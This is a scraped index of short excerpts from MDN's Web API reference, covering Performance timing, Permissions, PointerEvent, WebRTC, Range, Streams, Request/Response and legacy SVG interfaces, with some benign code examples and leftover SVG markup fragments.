PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
the paymentrequestupdateevent constructor creates a new paymentrequestupdateevent object which enables a web page to update the details of a paymentrequest in response to a user action.
PaymentResponse.methodName - Web APIs
see merchant validation in payment processing concepts for more information.
performance.clearMarks() - Web APIs
function logmarkcount() { console.log( "found this many entries: " + performance.getentriesbytype("mark").length ); } // create a bunch of marks.
performance.clearMeasures() - Web APIs
function logmeasurecount() { console.log( "found this many entries: " + performance.getentriesbytype("measure").length ); } // create a bunch of measures.
performance.mark() - Web APIs
WebAPIPerformancemark
// create a bunch of marks.
performance.measure() - Web APIs
const markernamea = "example-marker-a" const markernameb = "example-marker-b" // run some nested timeouts, and create a performancemark for each.
Performance.navigation - Web APIs
the legacy performance.navigation read-only property returns a performancenavigation object representing the type of navigation that occurs in the given browsing context, such as the number of redirections needed to fetch the resource.
PerformanceNavigation.redirectCount - Web APIs
the legacy performancenavigation.redirectcount read-only property returns an unsigned short representing the number of redirects done before reaching the page.
PerformanceNavigationTiming.loadEventEnd - Web APIs
the loadeventend read-only property returns a timestamp which is equal to the time when the load event of the current document is completed.
PerformanceNavigationTiming.toJSON() - Web APIs
syntax json = resourceperfentry.tojson(); arguments none return value json a json object that is the serialization of the performancenavigationtiming object as a map with entries from the closest inherited interface and with entries for each of the serializable attributes.
PerformanceNavigationTiming.type - Web APIs
syntax perfentry.type; return value a string which is one of the values listed above.
PerformanceObserver() - Web APIs
return value a new performanceobserver object which will call the specified callback when observed performance events occur.
PerformanceResourceTiming.connectStart - Web APIs
source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.domainLookupStart - Web APIs
source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.toJSON() - Web APIs
syntax json = resourceperfentry.tojson(); arguments none return value json a json object that is the serialization of the performanceresourcetiming object as a map with entries from the closest inherited interface and with entries for each of the serializable attributes.
PerformanceTiming.domComplete - Web APIs
the legacy performancetiming.domcomplete read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser finished its work on the main document, that is when its document.readystate changes to 'complete' and the corresponding readystatechange event is thrown.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
the legacy performancetiming.domcontentloadedeventend read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after all the scripts that need to be executed as soon as possible, in order or not, has been executed.
PerformanceTiming.domContentLoadedEventStart - Web APIs
the legacy performancetiming.domcontentloadedeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, right before the parser sent the domcontentloaded event, that is right after all the scripts that need to be executed right after parsing has been executed.
PerformanceTiming.domLoading - Web APIs
the legacy performancetiming.domloading read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown.
PerformanceTiming.loadEventEnd - Web APIs
the legacy performancetiming.loadeventend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the load event handler terminated, that is when the load event is completed.
PerformanceTiming.loadEventStart - Web APIs
the legacy performancetiming.loadeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the load event was sent for the current document.
PerformanceTiming.redirectEnd - Web APIs
the legacy performancetiming.redirectend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the last http redirect is completed, that is when the last byte of the http response has been received.
PerformanceTiming.redirectStart - Web APIs
the legacy performancetiming.redirectstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the first http redirect starts.
PerformanceTiming.requestStart - Web APIs
the legacy performancetiming.requeststart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document, from the server or from a cache.
PerformanceTiming.responseEnd - Web APIs
the legacy performancetiming.responseend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server from a cache or from a local resource.
PerformanceTiming.responseStart - Web APIs
the legacy performancetiming.responsestart read-only property returns an unsigned long long representing the moment in time (in milliseconds since the unix epoch) when the browser received the first byte of the response from the server, cache, or local resource.
PerformanceTiming.unloadEventEnd - Web APIs
the legacy performancetiming.unloadeventend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event handler finishes.
PerformanceTiming.unloadEventStart - Web APIs
the legacy performancetiming.unloadeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event has been thrown.
PermissionStatus.state - Web APIs
syntax var permission = permissionstatus.state; example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
Permissions.query() - Web APIs
WebAPIPermissionsquery
an up-to-date list of permission names can be found in the spec under the permissionname enum, but bear in mind that the actual permissions supported by browsers is currently much smaller than this.
Permissions.revoke() - Web APIs
the permissions.revoke() method of the permissions interface reverts a currently set permission back to its default state, which is usually prompt.
PointerEvent.PointerEvent() - Web APIs
example var moveevent = new pointerevent("pointermove"); var downevent = new pointerevent("pointerdown", {pointerid: 1, bubbles: true, cancelable: true, pointertype: "touch", width: 100, height: 100, isprimary: true }); ...
PointerEvent.height - Web APIs
depending on the source of the pointer device (for example a finger), for a given pointer, each event may produce a different value.
PointerEvent.pointerId - Web APIs
let id; // let's assume that this is a previously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare previous event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
PointerEvent.pressure - Web APIs
for hardware that does not support pressure, such as a mouse, the value is 0.5 when the pointer is active buttons state and 0 otherwise.
PointerEvent.width - Web APIs
depending on the source of the pointer device (such as a finger), for a given pointer, each event may produce a different value.
PositionOptions.enableHighAccuracy - Web APIs
note that this can result in slower response times or increased power consumption (with a gps chip on a mobile device for example).
PushManager.register() - Web APIs
if the method call is successful, the request's result will be a string, which is the endpoint url.
PushSubscription.endpoint - Web APIs
the endpoint takes the form of a custom url pointing to a push server, which can be used to send a push message to the particular service worker instance that subscribed to the push service.
PushSubscription.unsubscribe() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specification.
RTCIceCandidate.priority - Web APIs
usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the priority is the number after the protocol, so it's the fourth field in the candidate string.
RTCIceCandidate.sdpMLineIndex - Web APIs
syntax var sdpmlineindex = rtcicecandidate.sdpmlineindex; value a number containing a 0-based index into the set of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available.
RTCIceCandidate. toJSON() - Web APIs
the rtcicecandidate method tojson() converts the rtcicecandidate on which it's called into json in the form of an rtcicecandidateinit object.
RTCIceCandidate.type - Web APIs
if type is null, that information was missing from the candidate's a-line, which will cause rtcpeerconnection.addicecandidate() to throw an operationerror exception.
RTCIceCandidateInit.sdpMLineIndex - Web APIs
value a number containing a 0-based index into the set of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available.
RTCIceCandidateInit.sdpMid - Web APIs
value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
syntax availableincomingbitrate = rtcicecandidatepairstats.availableincomingbitrate; value a floating-point value which approximates the amount of available bandwidth for incoming data on the network connection described by the rtcicecandidatepair.
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
a circuit breaker trigger is fired each time the connection times out or otherwise needs to be halted automatically.
RTCIceCandidateStats.localCandidateId - Web APIs
the rtcicecandidatepairstats property localcandidateid is a string that uniquely identifies the local ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates.
RTCIceCandidatePairStats.packetsReceived - Web APIs
syntax packetsreceived = rtcicecandidatepairstats.packetsreceived; value an integer value indicating the total number of packets, of any kind, which have been received on the connection described by the two candidates comprising this pair.
RTCIceCandidatePairStats.transportId - Web APIs
syntax transportid = rtcicecandidatepairstats.transportid; value a domstring which uniquely identifies the rtcicetransport object from which the transport-related data was obtained for the statistics contained in this rtcicecandidatepairstats object.
RTCIceCandidateStats.candidateType - Web APIs
the rtcicecandidatestats interface's candidatetype property is a string which indicates the type of ice candidate the object represents.
RTCIceCandidateStats.priority - Web APIs
during ice negotiation while setting up a webrtc peer connection, the priority values reported to the remote peer by a user agent are used to determine which candidates are considered "more desirable".
RTCIceParameters.usernameFragment - Web APIs
the string may be up to 256 characters long.
RTCIceParameters - Web APIs
during ice negotiation, each peer's username fragment and password are recorded in an rtciceparameters object, which can be obtained from the rtcicetransport by calling its getlocalparameters() or getremoteparameters() method, depending on which end interests you.
RTCIceRole - Web APIs
you can learn more about ice roles in choosing a candidate pair in webrtc connectivity.
RTCIceServer.credential - Web APIs
}; var credential = iceserver.credential; iceserver.credential = newcredential; example this example creates a new rtcpeerconnection which uses a turn server at turnserver.example.org to negotiate connections.
RTCIceTransport.gatheringState - Web APIs
the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over from scratch.
RTCIdentityAssertion - Web APIs
once set it can't be changed.
RTCInboundRtpStreamStats.receiverId - Web APIs
syntax var receiverstatsid = rtcinboundrtpstreamstats.receiverid; value a domstring which contains the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object which provides information about the rtcrtpreceiver which is receiving the streamed media.
RTCOfferAnswerOptions.voiceActivityDetection - Web APIs
the default value, true, indicates that the user agent should monitor the audio coming from the microphone or other audio source and automatically cease transmitting data or mute when the user isn't speaking into the microphone, a value of false indicates that the audio should continue to be transmitted regardless of whether or not speech is detected.
RTCOfferAnswerOptions - Web APIs
each of createoffer() and createanswer() use rtcofferansweroptions as the base type for their options parameter's dictionary.
RTCOutboundRtpStreamStats.sliCount - Web APIs
this is a very technical part of how video codecs work.
RTCPeerConnection.close() - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time c...
RTCPeerConnection: track event - Web APIs
the track event is sent to the ontrack event handler on rtcpeerconnections after a new track has been added to an rtcrtpreceiver which is part of the connection.
RTCPeerConnectionIceEvent - Web APIs
there is no specific rtcdatachannelevent method.
RTCPeerConnection: idpvalidationerror event - Web APIs
instead, you should watch for the rtcpeerconnection.peeridentity promise to be rejected with an operationerror.
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
syntax let reportcount = rtcremoteoutboundrtpstreamstats.reportssent; value an integer value which indicates the total number of rtcp sender reports so far sent by the remote peer to the local peer.
RTCRtpContributingSource.timestamp - Web APIs
syntax var domhighrestimestamp = rtcrtpcontributingsource.timestamp value a domhighrestimestamp which indicates the time at which the most recent rtp packet from the corresponding source was played out.
RTCRtpEncodingParameters.maxBitrate - Web APIs
in addition, there's no guarantee that the network interface can support the specified bandwidth, in which case the actual bandwidth will be lower.
RTCRtpStreamStats.sliCount - Web APIs
for technical details, see rfc 4585: 6.3.2.
RTCRtpStreamStats.transportId - Web APIs
the rtcrtpstreamstats dictionary's transportid property is a string which uniquely identifies the object from which the statistics contained in the rtctransportstats properties in the rtcstatsreport.
RTCRtpTransceiver.receiver - Web APIs
syntax var rtpreceiver = rtcrtptransceiver.receiver; value an rtcrtpreceiver object which is responsible for receiving and decoding incoming media data whose media id is the same as the current value of mid.
RTCRtpTransceiver.sender - Web APIs
syntax var rtpsender = rtcrtptransceiver.sender; value an rtcrtpsender object used to encode and send media whose media id matches the current value of mid.
RTCRtpTransceiverInit - Web APIs
each entry is of type rtcrtpencodingparameters.
RTCSctpTransport.state - Web APIs
the state read-only property of the rtcsctptransport interface provides information which describes a stream control transmission protocol (sctp) transport state.
RTCSessionDescription.sdp - Web APIs
the property rtcsessiondescription.sdp is a read-only domstring containing the sdp which describes the session.
RTCSessionDescriptionCallback - Web APIs
this object contains the type and sdp properties which are part of rtcsessiondescription.
RTCTrackEvent.track - Web APIs
syntax var track = trackevent.track; value a mediastreamtrack indicating the track which has been added to the rtcpeerconnection.
RTCTrackEvent.transceiver - Web APIs
syntax var rtptransceiver = trackevent.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
RTCTrackEventInit.track - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var track = trackeventinit.track; value a mediastreamtrack representing the track with which the event is associated.
RTCTrackEventInit.transceiver - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
Range.collapsed - Web APIs
WebAPIRangecollapsed
living standard no change.
Range.compareBoundaryPoints() - Web APIs
living standard no change.
Range.createContextualFragment() - Web APIs
example var tagstring = "<div>i am a div node</div>"; var range = document.createrange(); // make the parent of the first div in the document becomes the context node range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.createcontextualfragment(tagstring); document.body.appendchild(documentfragment); specification specification status comment dom parsing and serializationthe definition of 'range.createcontextualfragment()' in that specification.
Range.deleteContents() - Web APIs
living standard no change.
Range.selectNode() - Web APIs
WebAPIRangeselectNode
living standard no change.
Range.setEndAfter() - Web APIs
WebAPIRangesetEndAfter
living standard no change.
Range.setEndBefore() - Web APIs
living standard no change.
Range.setStartAfter() - Web APIs
living standard no change.
Range.toString() - Web APIs
WebAPIRangetoString
living standard no change.
ReadableByteStreamController.close() - Web APIs
note: readers will still be able to read any previously-enqueued chunks from the stream, but once those are read, the stream will become closed.
ReadableByteStreamController - Web APIs
readablebytestreamcontroller.enqueue() enqueues a given chunk in the associated stream.
ReadableStreamBYOBRequest.respond() - Web APIs
exceptions typeerror the source object is not a readablestreambyobrequest, or there is no associated controller, or the associated internal array buffer is detached.
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
exceptions typeerror the source object is not a readablestreambyobrequest, or there is no associated controller, or the associated internal array buffer is non-existant or detached.
ReadableStreamBYOBRequest.view - Web APIs
syntax var view = readablestreambyobrequestinstance.view; value a typed array representing the destination region to which the controller can write generated data.
ReadableStreamBYOBRequest - Web APIs
a view, as mentioned below, refers to a typed array representing the destination region to which the associated readablebytestreamcontroller controller can write generated data.
ReadableStreamDefaultReader.releaseLock() - Web APIs
examples function fetchstream() { const reader = stream.getreader(); ...
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
the relativeorientationsensor constructor creates a new relativeorientationsensor object which describes the device's physical orientation.
Report.body - Web APIs
WebAPIReportbody
the body read-only property of the report interface returns the body of the report, which is a reportbody object containing the detailed report information.
ReportingObserver() - Web APIs
the reportingobserver() constructor of the reporting api creates a new reportingobserver object instance, which can be used to collect and access reports.
Request.credentials - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification.
Request.headers - Web APIs
WebAPIRequestheaders
est = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
ResizeObserver.observe() - Web APIs
currently this only has one possible option that can be set: box sets which box model the observer will observe changes to.
ResizeObserver.unobserve() - Web APIs
h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if(checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'unobserve()' in that specification.
ResizeObserverEntry.contentBoxSize - Web APIs
when the viewport size is changed, the box's rounded corners change in proportion to the size of the box.
Response.redirect() - Web APIs
WebAPIResponseredirect
example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification.
Response.useFinalURL - Web APIs
example consider a script residing in page index.html: fetch('/test').then((r) => console.log(r.url)) test.html is being controlled by the service worker sw.js: onfetch = (e) => { e.respondwith(fetch('/page2').then((r) => { r.usefinalurl = true; return r; }) } the output will be /page2 and not /test in index.html, since setting the usefinalurl means that the response's url is not set to request's url.
RsaHashedImportParams - Web APIs
warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable.
RsaHashedKeyGenParams - Web APIs
warning: although you can technically pass sha-1 as a value here, this is strongly discouraged as sha-1 is considered vulnerable.
RsaOaepParams - Web APIs
label optional a buffersource — an array of bytes that does not itself need to be encrypted but which should be bound to the ciphertext.
SVGAltGlyphDefElement - Web APIs
tyle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphdefelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphdefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGAltGlyphElement.glyphRef - Web APIs
syntax string = myglyph.glyphref; myglyph.glyphref = string; value the return value is a glyph identifier, the value of which depends on the format of the given font.
SVGAltGlyphItemElement - Web APIs
yle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphitemelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGAnimateColorElement - Web APIs
le="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svganimatecolorelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatecolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
targetElement - Web APIs
the svganimationelement.targetelement property refers to the element which is being animated.
cx - Web APIs
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.r' in that specification.
SVGElement: scroll event - Web APIs
bubbles no cancelable no interface svgevent event handler property onscroll examples svgelem.addeventlistener('scroll', () => { console.log('svg scrolled.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
SVGElement: zoom event - Web APIs
the zoom event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled.
SVGFontElement - Web APIs
><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgexternalresourcesrequired and svgstylable.
SVGFontFaceElement - Web APIs
g style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceFormatElement - Web APIs
="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceformatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceNameElement - Web APIs
le="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceSrcElement - Web APIs
yle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceUriElement - Web APIs
yle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGGlyphElement - Web APIs
><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGGlyphRefElement - Web APIs
g style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphrefelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements properties from svgurireference and svgstylable.
SVGGraphicsElement: copy event - Web APIs
it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard.
SVGGraphicsElement: paste event - Web APIs
it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents.
SVGHKernElement - Web APIs
<svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svghkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGMatrix - Web APIs
WebAPISVGMatrix
many of svg's graphics operations utilize 2x3 matrices of the form: [a c e] [b d f] which, when expanded into a 3x3 matrix for the purposes of matrix arithmetic, become: [a c e] [b d f] [0 0 1] an svgmatrix object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
SVGMeshElement - Web APIs
><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmeshelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggeometryelement, and implements the properties of svgurireference.
SVGMissingGlyphElement - Web APIs
le="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmissingglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgstylable.
SVGPathElement.getPointAtLength() - Web APIs
note: in svg 2 this property was moved to the svggeometryelement interface, from which the svgpathelement inherits it.
SVGPathElement.getTotalLength() - Web APIs
note: in svg 2 this method was moved to the svggeometryelement interface, from which the svgpathelement inherits it.
SVGPathElement.pathLength - Web APIs
